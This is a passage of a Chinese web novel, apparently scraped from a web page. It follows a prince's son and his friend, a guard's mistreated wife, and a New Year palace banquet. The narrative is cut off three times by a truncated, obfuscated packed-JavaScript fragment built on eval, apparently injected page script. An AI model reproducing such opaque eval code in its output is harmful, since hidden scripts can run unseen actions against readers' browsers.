魏严只在画卷上见过老虎,他想象不出小孩骑老虎的画面,就问道, “骑老虎的话,需要虎鞍吗?” 萧晏知道他来兴趣了,小嘴勾出一抹胜利的微笑,两道剑眉一挑, “你去看看不就知道了?” 七岁的小男孩是抵抗不了来自大老虎的诱惑的,但是,他家教严,做不了出门的主, “容我考虑考虑,今日不行,或许以后可以。” 萧晏煞有介事道, “那你可要快点考虑,马上就要过年了,过完年,你就八岁。 养虎的侍卫说了,八岁往上的小孩太大了,就不能骑老虎了。” 魏严想了想又说,“你明日还来我家吗?” 萧晏笑道,“你若是欢迎我,我自然会来,你若是嫌我烦,我就不来了。” 魏严有点窘,咬了咬唇,小声说, “我怎么会嫌小殿下烦,只是,怕招待不周罢了。” 萧晏很大气地拉起了他的一只手,真诚道, “你可是我第一个朋友,也是唯一的朋友,我就爱跟你玩,见到你我就很开心了,怎么会觉得你招待不周呢。 明日,若是安康郡主还来跟你祖父对弈,我也会跟过来看你。 我若不来,你也可以自己去我家,我家很好找的,我现在就住在安康郡主府,我有一个院子,里面养了好多小动物呢。 你去了,就报我的名字,侍卫不会拦着你。” “嗯。” 魏严轻轻应了一声,心里,已经期待着骑大老虎了。 甚至,夜里做梦已经骑上了。 可是,偏偏翌日,小殿下就没有来他的府上。 因为,前一日,他的祖父输棋输惨了,当即破防到晕厥,太医让他歇几日才能继续下棋。 魏合敬缓过一口气,也没着急找安康郡主来对弈,而是告了病假,整日在家钻研她的棋路,暗自发誓,下次一定要把丢掉的所有老脸都捡回来。 只是,这么一来,可把小魏严难为坏了,他整日盼星星,盼月亮一样盼望小殿下过来,就是等不到。 眼看就要过年了,他马上就要八岁了,就骑不成老虎了,硬生生给孩子急病了。 上了大火,夜里发起了高热。 第149章 有些事,必须要自己去争取 还好有太医在丞相府,小魏严难受了一夜,第二天就退热了。 这场高热,也让小魏严明白了一个道理: 有些事,必须要自己去争取,眼巴巴地等待,并不会有结果,只会把自己熬病了。 于是,趁着祖父来探病的时候,他就问出了这些日子一直憋在心里的话, “爷爷,我想念小殿下了,我能不能去看望他?” 魏合敬直言拒绝, “不行,咱们丞相府不和镇北王结交,马上就要过年了,你去了,有送礼的嫌疑,影响很不好。” 魏严咬了咬唇,踌躇片刻,又继续争取, “可是,小殿下说他住在安康郡主府,郡主府我也不能去吗?” 魏合敬捋了捋胡子,“这样啊,你好生养病,明日我让你祖母带着你去拜访安康郡主。” “谢谢爷爷。” 魏严会心一笑,又问,“爷爷,小殿下送过我一个亲手做的纸风车,小殿下正在学写字,我可以把我亲手做的毛笔送给他吗?” 魏合敬微笑点头, “可以,但是,明日安康郡主若是赏你点什么,你不能收。” “是,爷爷。” 小孩子的心结打开了,病就彻底好了,晚饭的时候,一向一碗饭量的他,破天荒地吃了两碗饭。 隔日,魏严一觉醒来就发现下大雪了,天空飘着鹅毛大雪,地上还有很厚的积雪。 他的神色一下黯淡了下去,还失去了吃早饭的胃口,喝了半碗稀饭就不吃了。 还是照顾他的老嬷嬷看出了他的心思,安慰道, “孙少爷安心,老爷既然答应了你,就是天上下刀子,也会让你出门的。” 魏严垂下眼帘,有些难过,“可是,下雪这么冷,我担心祖母的老寒腿受不住,她最怕冷了。” “孙少爷可真是个孝顺的。” 魏严既心疼祖母,也不想放弃自己的事情, “嬷嬷,我想独自去拜访安康郡主,你说,祖父能同意吗?” 这一场雪又大又猛,彼时的安康郡主府里欢声笑语,热闹非凡,丫鬟小厮们分成了两组,正在陪萧晏打雪仗。 萧晏有个忠实的人工雪球机,耿豆,一直在不停地替他团雪团。 也不管别人的雪球砸没砸到他,他都置之不理,只是一味地团雪球,团好了,就给萧晏递过去。 苏苡安和萧北铭肩并肩站在廊檐下,看着他们打雪仗。 萧晏玩了一会,再次对苏苡安发出了邀请, “美女大人,你真的不参战吗?我发誓不打到你的脸。” 刚刚,苏苡安拒绝他的理由,就是怕被打到脸,她会破相。 彼时,她笑着回道, “不玩,我怕打到你的脸,把你打破相了也不好。” 萧北铭担心她受寒了,下个月痛经会加重,关切地看着她, “外面太冷了,我们进屋吧?” “嗯。” 苏苡安点点头,她现在这身子骨太弱了,即便是披着狐裘披风,都觉得寒气往身体里钻,哪里还敢去玩雪啊? 室内,两个炭火盆燃烧正旺,上好的银丝炭一点烟都没有。 丁香正在从炭火盆里往外夹烤栗子,见到苏苡安进来了,马上起身迎过去,为她脱披风。 丁香触碰到了她冰凉的手,便愁上眉梢, “主儿,你的手去年也没凉成这样啊,要不,也盘个火炕吧?” 苏苡安来到了火盆跟前,伸手反转烤了烤, “也好,就在西屋盘一个吧。” 她私心想着,某人体热,若是睡了火炕,怕是要流鼻血了,得给他配凉茶喝喝才好。 萧北铭走过来,坐到火盆旁的椅子上,闷声不响地剥栗子。 心中责备自己怎么没想到给她盘个火炕,入冬这么久了,让她白白受了这么些日子寒。 苏苡安忙道,“你小心烫,凉一会儿再剥。” 萧北铭沉浸在自责中,头也不抬,“无妨,手上死茧厚,也感觉不到。” 一个人剥栗子,一个人吃栗子,平淡且温馨。 不多时,丁香又进来了,“主儿,丞相府的魏严小公子过来了,他说是来看小殿下的。” 苏苡安有点震惊,“这么大雪,他自己来的?” “是,就一个老嬷嬷还有一个车夫陪着。” 苏苡安若有所思地点点头,“带他去见晏儿,再好生招待他的随从。” “是。” 苏苡安回眸,看向萧北铭,微微一笑, “你看,你儿子人缘多好,大雪天的都有朋友来拜访。” 萧北铭喂了一个栗子堵住了她的嘴。 她整日都把那小东西挂在嘴边,满心满眼都是他,为他做这做那,都不记得给自己盘个火炕,真是让他生气。 只是,这些话他都不能宣之于口,要不然,她会有一百句话来怼他,只会更让他懊恼。 不大会,丁香又进来, “主儿,裴小公子来了。” “请他进来吧,再多送些栗子进来。”苏苡安了解他的吃货弟弟,说话也不影响他吃。 果然,裴思远风尘仆仆地冲进来,也没打招呼,十分眼尖地奔着吃的就来了,拿起盘子中萧北铭辛辛苦苦剥好的栗子往嘴里塞,一点都不拿自己当外人。 苏苡安嫌弃地往后旁边侧了一下, “站远些,一身寒气,都冲到我了。” 裴思远乖乖地退后了两步,问道, “姊姊,我是来找乌二将军的,他在你府上吗?” “没有。” “那他在哪?” “问你姐夫。” 裴思远求助的眼神看向萧北铭,“姐夫,乌二将军在哪里?” 萧北铭冷着脸回道,“执行任务去了,你找他作甚?” “啊?” 裴思远一脸遗憾,他出身将门,自然知道一个将军执行的任务是军事机密,这种事情不能打探,只是悻悻地说, “我找他有点私事。” 苏苡安又问,“要办什么事?你姐夫能帮你。” 裴思远直摇头, “不是,我没什么事要办,只是,今儿是我和乌三约架的日子,她没来赴约。 我就跟她那群朋友打探了,听说她前些日子被她哥抓走揍了一顿,然后就再也没出府了。 我就想问问乌二将军,他是不是把他妹妹打死了,毕竟,相识一场,我想给乌三送个花圈。” 第150章 叫声姐姐,我就告诉你 裴思远的话,越说越不靠谱。 萧北铭白了他一眼,便没再理,继续剥栗子。 苏苡安只是笑而不语。 裴思远见苏苡安戏谑意味甚浓的笑容,莫名的心虚,怕她挤兑自己,遂决定遁走。 他一把抓走了盘中所有的栗子肉,眯起眼睛笑道, “既然乌二将军没在这里,那我就不打扰二位了,我还得去执勤,走了哈。” 裴思远说着话,人已经跑出去了。 苏苡安眉梢一扬,看向萧北铭, “我说什么来着?你信不信今晚阿远能去辅国将军府翻墙头?” 萧北铭讶异,“不会吧?他能那么不靠谱吗?” 苏苡安一副成竹在胸的笑容,中二少年干这种事,多正常啊, “一万两,你赌不赌?” 萧北铭双眸充满了柔情和她对视, “赌呗,反正,一个吻五文钱,我有的是。” 苏苡安敛了笑容,煞有介事道, “萧北铭,你等会儿再发骚,我现在有更重要的事情去处理。” 萧北铭起身,拿过了狐裘披风给她披上, “快些回来,我等你。” 苏苡安抿唇一笑,“黏人精!” 苏苡安去到了萧晏的院子,小家伙正在热情地待客。 他在前面牵着大老虎,魏严坐在虎背上。 看得出来,魏小公子是既紧张又兴奋。 萧晏十分善解人意地在安慰他, “你别怕,它真的不咬人,一顿饱和顿顿饱,它还是明白的。” “它一天吃几顿啊?” “两顿,你瞅他这肚子圆的,都要拖地上了。 原本是四顿的,郡主说再这么喂下去,他会变成老母猪的,算是虐待动物,就改成两顿了。” “我也觉得它的肚子这么大,很像我家后院的母猪。” “嘿嘿,你想不想看大老虎吃鸡?我可以为你破例,今日给它加餐一顿。” “不,不用了,变成母猪了不好。” “那你下次早些来,就能赶上它吃饭了。” “嗯!” 苏苡安看两个小家伙相处得挺融洽的,晏儿完全能应对,谈笑之间,就约好下一次见面了,她再过去完全多余。 于是就转身去厨房,吩咐晚上做几道甜口的菜,送到小殿下的院子里。 同时,也无比的感慨: 晏儿这孩子,真是打小就机灵,这样天资卓绝的孩子,前途若不能光明灿烂,那就是她的无能了,她定要全力助他前程似锦。 再说裴思远,出门安康郡主府,就开始盼天黑。 好不容易盼到天黑,还是觉得不妥,又按捺住性子,等到半夜,才去翻了辅国将军府的院墙。 乌三夙愿达成,已经兴奋得好些日子睡不着觉了,现下,还在屋子里卖力地磨刀呢。 裴思远一跳进她的院墙,她的耳朵就动了一下,嘴角牵起一个邪魅的笑容: 嘿嘿,这是哪个小贼啊,他人还怪好的,我正需要人试刀呢,他就送上门来了。 “乌三,乌三。” 压着嗓子的气音从外面传来,乌三脸上的笑容瞬间消失了: 这个人可不能用来试刀,唉,空欢喜一场,不过,也不能让他白来一趟…… “门没锁,进来吧。” 裴思远推门进去,只见乌三正挽着袖子,叉着腿,以特别豪放的姿势坐在小板凳上,在磨刀石上磨一把两尺长的宽背大砍刀。 乌三立即剜了他一眼,语气不善, “你怎么来了?” 裴思远坏坏一笑,“听说,你被你哥揍了,我来看看你死了没有。” 乌三冷然,“那你怎么知道我住这个院子?” 裴思远一脸精明十足的模样,娓娓道来, “就你这个院子还燃着烛火,我自然是首先来这里看了。 再者说,你院子里还有梅花桩,又细又高,总不能是辅国将军用的,他那个体重,估计上去就踩塌了。” “呵呵。” 乌三意味不明地笑了两声,又从盆里舀了一把水,洒到刀上,继续磨。 裴思远很是好奇,“你大半夜不睡觉,磨刀做甚?” 乌三掀起眼帘,冷睨着他,皮笑肉不笑, “叫声姐姐,我就告诉你。” 裴思远立即跳脚, “谁要那样叫你啊!我姐姐可是安康郡主,你也配?” 乌三破天荒地没跳起来拿刀劈他,而是好言好语地跟他讲道理, “你叫郡主姊姊,叫我姐姐,那能一样吗? 再说,你足足比我小三岁呢,现下登了我乌家的门,叫我一声姐姐,是礼数。 更何况,我那些兄弟,比我大的都叫我姐姐,你一点都不亏的好嘛。” 裴思远瞪大了眼睛,诧然,“你是不是让你哥打出毛病了,都讲起礼数来了?” 乌三又颔首,继续磨刀, “你不叫我姐姐,我就不回答你的任何问题。” 两相沉默良久,厅堂里只能听见磨刀霍霍之声。 裴思远率先按捺不住,又问, “你最近怎么都不出门了?” 乌三头也不抬, “什么你啊,你的?镇南将军府就教出来你这个不懂礼数的嫡长子?一点教养都没有。” 裴思远被噎得不行了。 按理说,他登门拜访,对面之人和他爹的官职平级,他依着礼数,确实是应该叫她一声姐姐。 可是,他们之前都打成啥样了?她之前都跋扈成啥样了? 现下,这声姐姐,他噎在嗓子眼里,实在喊不出口。 只是,实在按捺不住好奇,又好声发问, “你哥到底是怎么收拾你的?都给你收拾得讲起礼数来了。跟我透露透露呗,回头,我也收拾收拾我妹妹。” 乌三依旧淡漠吐声,“叫姐姐。” 裴思远蹙了蹙眉,四下瞧了瞧,附近不像有下人在的样子,于是,咬了咬牙,很小声地叫了一声, “姐姐。” “嘿嘿~” 计谋得逞,乌三一拍大腿,抬眸笑看他,比出门捡了钱都开心, “那我勉为其难地告诉你,你可千万不要告诉别人。” “嗯嗯。”裴思远特意蹲下身来,侧耳倾听。 乌三又郑重道,“你发誓不告诉任何人。” 裴思远三指指天,“我发誓,谁也不告诉,否则,我喝水呛死。” 乌三这才压低声音,神神秘秘地跟他说, “我哥给我磕头了,足足磕了一百个响头,头都磕破了。” 裴思远惊骇瞠目, “你骗人!” 第151章 娶了媳妇就忘了爹娘 乌三一脸正经, “我骗你做什么?我哥说,我再在外面做街溜子惹是生非,乌家的满门荣耀就要被我作没了。 他就给我磕头,求我做个好人,别连累全家。 你也不看看我是什么倔驴脾气,他若是打我,就是给我打死,我都不带服软的。 可是,他都磕头了,我能怎么办,只能乖乖听话了。” 裴思远听到这里,竟然觉得,这一切好像很合理…… 乌三继续瞎掰, “以后,我就不出门,就在家做个大门不出二门不迈的高门贵女。 也不会再找你干架了,我认输了。 为了我哥,我要洗心革面,做个文文静静的小女子。” 裴思远嘴角一抽,觉得这也未免太离谱了, “谁家文文静静的小女子三更半夜不睡觉,秉烛磨大砍刀啊?” 乌三一脸坦然, “诶,凡事都有个循序渐进的过程嘛。 你下次再来,就能看见我秉烛夜读了。 再下次……再下次,你就不能来了,一个大男人,半夜翻墙来一个女子的院子,成何体统?” 话说到这里,乌三又送了他一个白眼。 裴思远又有些相信,乌二真的是给他妹妹磕头了,要不然,她这巨大的转变,没办法解释。 她明显没受伤,不可能是打服的,而且,她这么乖张顽劣的性子,也不可能被打服…… 马上就要过年了。 这一日,安康郡主府发年节红包,一群丫鬟小厮开开心心地候在厅堂里等待打赏。 苏苡安扫了一眼,问道, “侍卫们怎么没来?” 铁柱站出来,“回主子,我方才去叫他们,他们都不肯过来,说他们都领了镇北王军的年节赏赐了,不能再领郡主府的赏了。” 苏苡安不悦,“断没有帮我干活不拿赏钱的道理啊,把他们都叫过来。” “是。” 铁柱一溜小跑出去,不大一会儿,带着十几号侍卫都进屋了。 苏苡安看着人群,又问道, “高升呢?他怎么那么不听话。” 铁柱回禀, “主儿,并非高护卫不听您的话,而是他现下不在府里。 半个时辰前,他家的一个小丫鬟找过来了,说他的娘子突发疾病晕厥了,他就着急忙慌地回家看了。” “这么大事,怎么不告诉我啊?” 说及此,高升急匆匆地从外面跑进来了。 他回郡主府,一个人没看到,门口站岗的人都不在了,着实吓了一大跳。 彼时,看见所有人都在这里,才把心放到了肚子里。 苏苡安看他的脸色不好,就问, “高升,你媳妇如何了?可需要我去看诊?” 高升黝黑的脸,蓦然一红,又面带尴尬,一想到此事,他就是又气又喜又愁。 气的是,他的爹娘屡屡刁难他的媳妇,今日,竟然罚她跪在严寒里,跪到晕倒了。 喜的是,大夫给他媳妇看诊的时候,查出了喜脉。 愁的是,他爹娘那般磋磨他媳妇,他担心这个孩子保不住。 只是,那等家丑,他没脸说,只报喜, “不,不用,她没病,就是害喜晕倒了。” “哇,那真是恭喜你们了啊!” 苏苡安转头就从丁香端着的盘子里,拿出一个红包给他。 高升连连摆手, “不,不用。” 苏苡安笑道,“都有的,又不是单独给你的,拿着吧,怀孕辛苦,给你的媳妇买点好吃的补一补。” 高升一想,镇北王府的年节红包是他一个月的俸禄,五两银子,若再有五两赏银的话,他就可以租一个像样的宅子了带着媳妇搬出来单过了。 再找一个丫鬟,一个奶娘伺候着,媳妇初次有孕,可不能委屈了她。 出门打开红包一看,竟然是一千两银票! 这都能顶他十几年俸禄,够买一个上好的三进大宅了,再过上每日有肉吃的生活了。 高升都要吓死了,他觉得这个钱烫手,不敢要。 可是,仔细一回想,刚刚发红包的时候,郡主好像是随意在盘子里抓的红包,而不是特意给他的。 于是乎,他觉得,这钱应该是郡主为了撑面子用的,就去找铁柱,问这钱应该怎么退回去。 铁柱被问得一脸懵然: “为何要退回去?” 高升也懵了,“这可是一千两啊,钱够我赚半辈子了,难道不需要退回去吗?” 铁柱笑道, “将军,咱们郡主可大方了呢,随意漏漏指缝,就是普通人的一辈子。 您跟郡主的时间长了就会知道,一千两不过是郡主的常规打赏。 我和丁香的红包,也都是这个数,您就安心收着就好了。 大年夜的时候,表演节目,还有赏钱呢。” 高升这回安心了,搬家的事情要紧,赶紧找了牙人,火速买了一个院子,价钱都没怎么议,就带着媳妇搬出来。 毕竟,再让媳妇和父母住一起,他真担心媳妇受苦,孩子都保不住。 这一日,高升的父母找到了安康郡主府。 二老见到苏苡安,跪地就哭嚎,说要状告儿子不孝,要安康郡主给他们做主。 看着他们痛哭流涕的样子,苏苡安好像看到了告御状的苏怀仁。 父母怎么能拿不出手成这样啊! 她和高升认识这么久了,他是个什么人,她心里能没数吗? 高升若是人品不行,萧北铭也绝对不会安排他来给自己做护卫。 那只能说明这老头老太太和苏怀仁做人,是一个路数。 古代一个孝字大于天,他们跑到这里告状,那就是准备毁了儿子。 人品太差了。 苏苡安心中千转百回,表面上不动声色地看着高母哭诉, “郡主,我们老两口,含辛茹苦地把儿子养大,又掏空家底,给他娶媳妇。 可是,我那忤逆不孝的儿子,娶了媳妇就忘了爹娘。 不仅纵容他媳妇不敬公婆,平日别说端茶送水,连晨昏定省都没有。 昨日,他还带着媳妇搬出去了,要跟我们分家。 这儿子,我们真的是白养了,求郡主给我老两口,做主啊!” 苏苡安招呼铁柱,去把高升找过来。 高升来了,跪在地上,面对父母的指责,也不解释,只是磕头认罪,请郡主责罚。 苏苡安这就为难了,她有心偏私,奈何,这货他不张嘴啊。 苏苡安只能看向他的父母,问, “二老想怎么处置你们的儿子?” 高父立即说, “让他把新买的宅子卖掉,搬回家里,把卖房子的钱和今后的俸禄都交给他娘亲管理。” 第152章 竟然想休掉有孕的儿媳妇 苏苡安看着这对老登圆滚滚的身材和价值不菲的华贵衣衫,再看看高升瘦瘦的身板和粗粝的双手,好像明白了古代对于孝字的真谛。 那就是打着让孩子孝顺的旗号,明目张胆地啃小。 儿子自己过得都不好呢,凭什么让他卖宅子还要上交俸禄啊! 你们两个都吃这么胖了,还要往死里啃儿子,这算什么? 他是你们生的提款机吗? 苏苡安实在不想主持这场所谓的公道,就说, “高升都成婚了,俸禄不是应该交给他的娘子吗?” 高母闻言,哭得更大声了, “我们当初是瞎了眼了,给儿子娶了一个那么恶毒心肠的媳妇,钱进了她的口袋,就一个子儿不往外掏了。 如今,我们两个老的,连看病吃药都没钱,真是忤逆不孝,大逆不道……” 高升仓惶插话, “郡主!这都不关我媳妇的事,是我让她看好钱财,谁来了,不管是讨要还是借,都不要给。 我媳妇只是听我的话而已,您不要处罚她,要罚就罚我。” 苏苡安真真有点恨铁不成钢,一个大男人,让一个老头老太太熊成这样。 “既然你认罪,那我也是不能容你做侍卫了,就去后院劈柴吧,忤逆不孝可是大罪,再罚俸一年。” 一听罚奉,高母急了, “郡主,这可不关我儿的事,我儿子从前很乖很孝顺的,都是那个毒妇的枕边风挑唆得我儿不孝顺父母,让我儿休了她就行,千万别罚我儿俸禄啊!” 他们竟然想休掉怀孕的儿媳妇? 这可是古代,你们让一个背着忤逆不孝大罪被休弃的大肚婆怎么活?那不是等同于要了她的命吗? 苏苡安冷眼看着这老妇人,要不是答应过萧北铭要维持良好形象,她非得好好跟他们两个老登唠一唠。 高升一听父母要他休妻,神情一骇,忙说, “郡主,我妇贤德,绝对没有挑唆过任何事情,我是不会休妻的,一切都是我的错,请你罚我。” 苏苡安很欣慰,起码他还算是个男人,起码知道保护媳妇,那女人,也不算太惨, “那你就把水也挑了。 既然你管教不好你媳妇,就叫来她郡主府好好学学规矩。 不学会怎么侍奉公婆,不许回家。” “是!” 高升感激涕零,郡主让他媳妇来郡主府,那就是保护他媳妇躲过了他父母的磋磨,不用担心孩子保不住了。 高升一个响头磕地上, “我这就去把媳妇带过来。” 老头老太太也是连连磕头谢恩。 这下,只有苏苡安一个人不高兴的世界达成了。 晚上,萧北铭过来用晚膳的时候,她就开始吐槽上了, “怂这种事情,是不是也上行下效? 我不得不对我那个渣爹认怂,我的侍卫也得对他的爹娘认怂? 一个孝字就能压死我们所有人是吧?” 萧北铭怎么忍心她憋着气过夜呢,就把高升叫过来盘问。 高升没想到,王爷还会过问这些家长里短的事情。 他跟了他这些年,从来也没听说王爷管过谁的家事。 可是,这个事情也不能说,总不能说,这事情的爆发点,是他成亲的时候,郡主给了一万两礼金。 当时,是他的三叔记礼,然后,这事情就在家族里传扬开了。 此后,不仅是他的父母惦记拿走这一万两,就连亲戚也络绎不绝地上门来借钱了。 一开口就是以一千两,两千两的借,当然,按照惯例,肯定是有借无还那种。 他媳妇谨记他的叮嘱,这一万两不能动,谁都没借。 因此,才被罚跪在寒冬里,还获得了一个大不孝的罪名…… 高升不能说这件事,否则就是把郡主的好心当成驴肝肺了,是他不知好歹。 但是,王爷过问了,他也不能撒谎,就从更早的事情开始细细讲起, “小时候家里穷,我父母养我不容易,我又经常生病,父母经常找亲戚借钱给我看病,才勉强把我养大。 因为家里穷,我到了十五岁,还没有媒人上门说亲。 我就从军去了北疆,在北疆建功立业,家里的日子,也慢慢好起来了。 我在北疆的那些年,俸禄和赏钱,都给了父母,一来,是想让他们过好日子,二来,是想让他们给我攒钱娶媳妇。 偶尔亲戚来借钱,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第153章 咱们三个把日子过好,比什么都强 萧北铭转向苏苡安,问道, “这样处理,你满意否?” 苏苡安皮笑肉不笑, “将就吧。” 怎么就没办法把那些又蠢又坏的老登痛痛快快地收拾一顿呢!真是让她不爽。 萧北铭摆了一下手,示意高升退下。 又把苏苡安从旁边的椅子上,拉进自己的怀里,让她坐在自己的腿上,好言安慰道, “孝字大过天,做人子女的,就是有这么多无可奈何啊,不是每个人都有底气和父母翻脸的。” 苏苡安一声叹息, “依我看,你们就是从小学二十四孝学傻了,才让那些老登倚老卖老,骑在头上欺负。 什么卧冰求鲤,郭巨埋儿,简直都是脑子有大病之人才能干出来的事。 我若是皇帝,定把那些害人不浅的书都烧了。” 萧北铭在她的脸颊上轻啄一下, “这话可不兴说,父皇听见了不得了。 别生气啦,事情没那么严重,我不会让高升被他爹娘欺负的,当然,更不会让你爹再欺负你。 不早了,我们沐浴就寝吧?” 苏苡安总归是心情不舒畅了,从他的怀里起身, “现在顶多戌时,干嘛着急睡觉啊?等以后**有的是时间睡觉,你自己睡吧,我还要搞研究。” 苏苡安去到厨房和耳房,查看她放置的蜜桔有没有发霉。 然而,想在冬日里寒冷又干燥的上京城,培育出青霉菌,哪里是件容易的事? 即便是温度和湿度相对高的厨房和耳房,这些蜜桔也没有发霉的迹象。 可是,到了上京城温度和湿度都适宜的季节,就没得蜜桔了。 就连现在这两筐蜜桔,都是南淮送来的贡品,是御赐的年节礼,安康郡主府一筐,镇北王府一筐。 她一个都没浪费,全用来做实验了,就连晏儿都没给。 毕竟,青霉素在古代是救命的神药,可比吃进肚子里有价值。 可是,等了好些天,一个发霉的橘子都没有,想提取点青霉素,怎么就这么难。 这事情,才是真正让她不快乐的原因。 萧北铭看在眼里,记在心里,虽然不知道她到底要用这些蜜桔做什么药。 但是,看她早晚巡查一遍,他知道,这个东西对她来说特别重要,他得助她一臂之力。 翌日清晨。 萧北铭教完了萧晏武功,就要带他入宫。 今日,是萧北铭探望母妃的日子,虽然,之前好多次探望的日子,他都没进宫了。 去之前,他给萧晏布置了任务: 见你祖母宫里有蜜桔的话,都弄回来,安康郡主需要用蜜桔入药。 萧晏本来是不愿意听这个男人安排他的,可是,一听是娘亲需要,那他必须全力以赴啊。 到了良妃宫里,萧晏见果盘里摆着的水果正是蜜桔,拿起一颗就吃,还不断地卖萌,最后走的时候,成功让祖母主动把一盘子蜜桔都给他带上了。 苏苡安见到这爷俩合伙弄回来的蜜桔,真是惊喜又意外。 他们父子,总算能齐心协力做一件事了,她这些日子的辛苦撮合,真的没白费。 苏苡安会心一笑,收下了这一盘蜜桔: “咱们三个把日子过好,比什么都强。” 这下,她终于能开开心心过个年了。 大年三十这一天,按照惯例要和宫宴饮。 苏苡安一大早,就拽着萧北铭,去给萧晏挑进宫穿的衣裳。 萧晏过年的新衣裳有十几套,都是她亲自设计,再由布缘坊做出来的。 萧晏兴高采烈地挨套衣裳试穿。 苏苡安真心挑花眼了, “晏儿穿什么都好看,要不然,咱都带着吧,吃一会儿饭,就去换一身衣裳。” 萧北铭无奈,嗔怪了一声, “那样成何体统?就穿那套淡蓝色的吧,不要太惹眼,顺顺利利吃完这一顿饭就好。” 苏苡安觉得他有点太紧张了, “你是怕有人在除夕宴上找咱们麻烦?父皇最重视这种全家团圆的节日,还会有人给父皇找不痛快吗?” 萧北铭牵起她的手,“小心驶得万年船,熬过这两个月,咱们大婚以后,我才能安心。” 萧北铭又看向萧晏,叮嘱道, “你切记,今日万万不能和萧珩发生冲突了,不要去招惹他,他跟你说话,你也不要搭理。” 萧晏郑重点了一下头,“知道了。” 他明白万一出什么意外,他娘就可能不能嫁给他父王了,他以后就见不到她了,那可是天大的事情,绝对不能允许那样的意外发生。 萧北铭又转头告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这对于萧北铭来说,无异于晴天霹雳。 第154章 她竟敢要乌二,我要掐死她! 萧佩玖转头看向高高站在那里的二皇兄。 他身高脸臭,剑眉倒竖,浑身透着积年累月从战场上沉淀下来的杀伐之气,实在太有压迫感了,使她心中发怵,不敢与之对视。 立马转过头看向父皇,咽了咽口水,稳了稳心神,态度又坚毅起来,语气坚定道, “父皇,我就要这个愿望!求父皇成全。” 皇上萧昀心中有些为难: 自己定下的规矩,谁吃到铜钱就满足谁的愿望,朕必须一言九鼎。 小九儿不过是为自己求姻缘,虽然有些跳脱,但也不为过,敢于争取,勇气可嘉,不愧是朕的女儿。 可是,为什么她会看上乌二? 辅国将军府就那一个独苗苗…… 唉! 总归也是朕看着长大的孩子,丑是丑了点,但人品和能力还有忠心,都没得挑。 罢了…… 彼时,萧北铭满腔的怒火已经冲到了天灵盖,眼眶都红了,眸含杀意地看着萧佩玖,胸口剧烈地起伏着。 太子和宁王,都卯足了精神,伸长了脖子,等着看萧北铭发怒发狂。 最好能冲上去,打萧佩玖一顿,这样,就热闹了。 萧昀沉吟片刻,开了金口, “准。” 萧北铭听到了这一声‘准’,只觉得被天雷击中了天灵盖,眼前一黑,再也控制不住自己了,大喊一声, “父皇!” 苏苡安瞧萧北铭这般激动,眼睛都红了,好像从前热毒要发作的样子,怕他失控说错话,连忙出言打断, “父皇!我要给您表演一个节目!” 苏苡安明白,皇上金口玉言,哪里能刚应允公主的心愿因为他说了什么就更改? 现下,他说出花来都是无用的。 此事,必须要冷静下来,从长计议。 萧昀看向苏苡安, “哦?你准备了什么节目?” “我要为父皇弹奏一曲,祝父皇顺颂时宜,百事从欢,万岁万岁万万岁。” 萧昀露出笑容, “嗯,朕记得你说过,你擅长琴棋书画。 棋和书朕都见识过了,今日过年,欣赏一下琴技,甚好。” 苏苡安快步来到了乐人之中,弹七弦琴的乐人起身为她让位。 苏苡安落座,拨弄琴弦试了一下音,而后,信手拈来,弹了一首静心曲。手下拨弄着琴弦,眼睛定定地看向萧北铭。 彼时,她心中很紧张,怕自己稳不住他的情绪,怕他发超雄。 出门之前,他对我们两个千叮咛万嘱咐,不曾想,失控的却是他自己。 舒缓清扬的曲调,有效地安抚了萧北铭在爆发边缘疯狂徘徊的情绪。 他回了神,努力地把冲出来的所有火气,都往肺腑压了下去,目光也从父皇的身上,移向苏苡安,复又缓缓落座: 还好有她在,要不然,我都不知道自己刚刚会干出点什么…… 没想到,她还会弹琴。 她到底还有多少本事瞒着我…… 一曲毕,萧昀有感而发, “苏大学士把你教得很好,等三月份,就让他做晏儿的先生吧。” 什么?! 苏苡安只觉得两眼一抹黑…… 父皇,你糊涂啊! 偏偏此刻,她还不得不谢恩。 彼时,萧晏看准了时机,立即起身跪地,奶音甜声, “晏儿多谢皇爷爷赐先生,皇爷爷,我能不能自己选一个伴读啊?” 萧昀一脸慈爱笑看着他最喜欢的孙子, “你挑中了谁啊?” 萧晏甜笑道,“魏严,我们是好朋友,孙儿喜欢跟他一起读书写字,我想带上他,求皇爷爷成全。” 萧昀笑了: 魏合敬那个东西,为了表示他不在皇子里不站队,都不让他的孙子进宫做伴读。 可是,这是他最喜欢的孙子第一次开口求他,大过年的,他这个做皇爷爷的得满足孙孙的小心愿。 “准了!” 萧晏开心叩首,“孙儿多谢皇爷爷,皇爷爷万岁万万岁。” 这下,刚刚还等着看热闹的太子,垮脸了: 当年,他求父皇让丞相的孙子给他儿子做伴读,父皇都没同意。 而今,竟然同意了让丞相的孙子给这个小野种做伴读。 那不是明摆着说他赞同丞相府站队镇北王吗? 父皇,你为何要如此对我…… 宁王见状,也站了起来,“父皇,儿臣也有件喜事禀报。” “哦?” 萧昀看向自己的四皇子,大过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏苡安想想九公主的如花容颜,再看看眼前的乌二,眉毛眼睛鼻子嘴,哪哪都不好看。 她实在是不理解小九儿怎么会看上乌二,内心十分赞同乌二的观点, “会不会是父皇想削弱你的兵权,暗中授意了小九儿?要不然,小九儿哪里那么大的胆子,敢跟你抢人? 